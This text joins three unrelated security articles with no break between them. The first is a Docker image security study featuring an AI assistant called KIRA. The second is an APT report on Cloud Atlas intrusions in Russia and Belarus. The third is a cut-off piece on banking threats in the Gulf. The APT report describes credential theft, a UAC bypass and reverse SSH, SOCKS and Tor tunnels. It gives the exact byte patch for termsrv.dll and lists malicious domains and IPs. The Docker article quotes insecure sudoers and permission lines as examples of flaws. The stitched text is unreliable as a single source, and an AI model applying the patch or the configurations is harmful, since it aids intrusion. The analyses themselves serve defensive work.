Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.

Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.

At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.

In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.

To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.

As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.

Software vulnerabilities and compromise of update sources

One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.

To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.

An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.

Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.

In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.

To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.

It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.

However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.

This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.

Configuration vulnerabilities

Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.

The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.

Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.

Insecure handling of credentials

Use of default passwords

In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.

RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd

According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.

Passwords may be present in environment variables. Consider the following Dockerfile snippet:

ENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start

In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.

Let’s look at another image:

/bin/sh -c #(nop)  ENV MOODLE_URL=<a href="http://0.0.0.0/">http://0.0.0.0</a> MOODLE_ADMIN admin       MOODLE_ADMIN_PASSWORD [removed]      MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOST     MOODLE_DB_PASSWORD       MOODLE_DB_USER     MOODLE_DB_NAME    MOODLE_DB_PORT 3306

For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.

To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.

Passing passwords via command arguments

In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:

/bin/sh -c #(nop)  HEALTHCHECK &{[""CMD-SHELL"" ""mysql --protocol TCP -u\""root\"" -p\""$MYSQL_ROOT_PASSWORD\"" -e \""SELECT 1;\""""] ""15s"" ""30s"" ""0s"" '\x05'}

In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.

To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.

Privilege escalation in the container

One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.

The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.

Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.

Attacks on sudo

One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:

/bin/sh -c set -xe;     apt-get update &&       apt-get -y install sudo;       echo ""solr ALL=(ALL) NOPASSWD: ALL"" >/etc/sudoers.d/solr;

Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.

echo 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers

In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.

As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.

Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group — by modifying existing rules.

perl -i -pe 's/\bALL$/NOPASSWD:ALL/g' /etc/sudoers

The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.

To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.

Insecure file permissions

Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.

Consider the following command:

chmod 0777 /usr/share/cargo /usr/share/cargo/bin

The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.

To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.

Lack of integrity checks

Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.

For example, this risk may arise when downloading a distribution via HTTP:

RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream

Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.

To mitigate the risks, you can configure connections to web resources to use HTTPS only — if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.

There will still be a MitM risk even if certificate verification is disabled:

wget --no-check-certificate<a href="https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip"> https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip</a> -O phpvirtualbox.zip

The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.

To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.

Conclusion

Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.

Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.

To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.

This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.

In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.

The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.

Technical details

Initial infection

As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.

Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:

Example of the PowerShell script downloaded and executed by the shortcut:

Actions performed by the downloaded PowerShell:

Step	Action	Description
1	Drops “$temp\fixed.ps1”	Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2	Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup	Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3	Downloads and drops “$temp\rar.zip” Extracts “*.pdf” from the downloaded  “$temp\rar.zip”	Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4	Extracts “*.pdf” from the downloaded  “$temp\rar.zip”	Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6	Opens extracted decoy document “*.pdf” with user’s default software	User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations.
6	Executes  “taskkill.exe /F /Im winrar.exe”	Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7	Searches and deletes “rar.zip”, “*.pdf.zip” and “*.pdf.lnk”	Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8	Executes  “$temp\fixed.ps1”	Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.

Fixed.ps1 (loader)

The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.

Fixed.ps1::Payload (VBCloud dropper)

This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:

• video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
• video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.

Fixed.ps1::Payload (PowerShower)

This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).

Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:

• Collect information about running processes, administrator groups, and domain controllers.
• Download and execute PowerShell scripts from the C2 server.
• Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).

PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.

PowerShower::Payload (credential grabber)

PowerShower downloads an additional script for stealing credentials. It performs the following actions:

• Creates a Volume Shadow Copy of the C:\ drive.
• Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
• The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.

The full launch chain looks like this:

The full Base64-decoded script is given below.

Multi-user RDP by patching termsrv.dll

Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):

The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.

By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.

At first, the script enables RDP on the firewall and downgrades the RDP security settings:

Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.

The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.

Reverse SSH tunneling

As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.

That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.

To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.

We’ve seen three types of scripts:

• Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
• Run.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.
• Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.

To achieve persistence, the attackers added a new scheduled task in Windows:

In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:

Patched OpenSSH

Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.

In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:

RevSocks

In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.

There were also reverse SOCKS samples with hardcoded C2 addresses:

Tor tunneling

To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.

PowerCloud

We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.

The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.

To find administrators on the victim host, the tool executes the following command:

This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.

Browser checker

Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.

The information about running browsers is written to a log file on the local host.

Victims

According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.

We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.

We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:

• C:\Windows\ime
• C:\Windows\System32\ime
• C:\Windows\pla
• C:\Windows\inf
• C:\Windows\migration
• C:\Windows\System32\timecontrolsvc
• C:\Windows\SKB

However, TTPs are still differentiated.

Conclusion

For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

PowerCloud

7A95360B7E0EB5B107A3D231ABBC541A  C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40   C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33  C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7   C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE  C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453  C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29  C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016  C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A  C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D  C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1  C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9   C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419  C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8  dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3   –
25C8ED0511375DCA57EF136AC3FA0CCA   C:\branding\dwmw.exe

Browser checker

5329F7BFF9D0D5DB28821B86C26D628F  C:\ProgramData\checker_[redacted].exe

ReverseSocks

2B4BA4FACF8C299749771A3A4369782E  C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC   C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50   C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8   C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769   C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160   C:\Windows\ime\imetc\help\IMTCEN14.exe

Malicious MS Office documents

369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05

Domains and IPs

Reverse SSH/Socks domains

tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net

Malicious and compromised domains used in MS Office documents

amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br

Powershell payload staging

istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71

File paths

VBS scripts

WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs

ssh.exe

c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe

ReverseSocks

C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe

Tor client

C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe

The Gulf Cooperation Council (GCC) region has spent the last several years building one of the world’s most ambitious digital economies. Across Bahrain, Kuwait, Oman, Qatar, Saudi Arabia, and the UAE, governments and enterprises have accelerated investments in cloud infrastructure, AI-driven services, smart cities, and digital banking technology at a pace rarely seen elsewhere. Banks are rolling out instant payments, embedded finance services, mobile-first platforms, and API-driven ecosystems designed to support a rapidly expanding fintech economy.

But this transformation has introduced a difficult reality for security teams: every new integration, cloud workload, mobile application, and third-party service expands the digital banking attack surface.

In 2026, attackers are no longer merely probing isolated systems. Fintech companies, telecom infrastructure, SaaS platforms, APIs, cloud environments, and vendor supply chains are just a few of the interconnected ecosystems they are taking advantage of.

Due to the GCC's modernization efforts, ransomware operators, state-backed threat actors, and financially motivated cybercrime groups that use automation and AI-enhanced attack methodologies now view the area as a high-value target. As a result, the environment for banking cybersecurity is becoming faster, more dispersed, and much more difficult to defend.

Ransomware Operations Are Targeting GCC Financial Ecosystems 

Throughout 2024 and 2025, ransomware continued to be one of the GCC's most disruptive cyberthreats, especially for industries linked to economic stability and national infrastructure. Organized cybercrime gangs consistently targeted financial institutions, telecommunications businesses, healthcare providers, logistics companies, and government agencies.  

Because digital banking technology extensively relies on cloud services, third-party integrations, and networked platforms, the danger has become particularly acute for banks and fintech companies. Instead of going straight against institutions, attackers take advantage of these connections to spread laterally across contexts.  

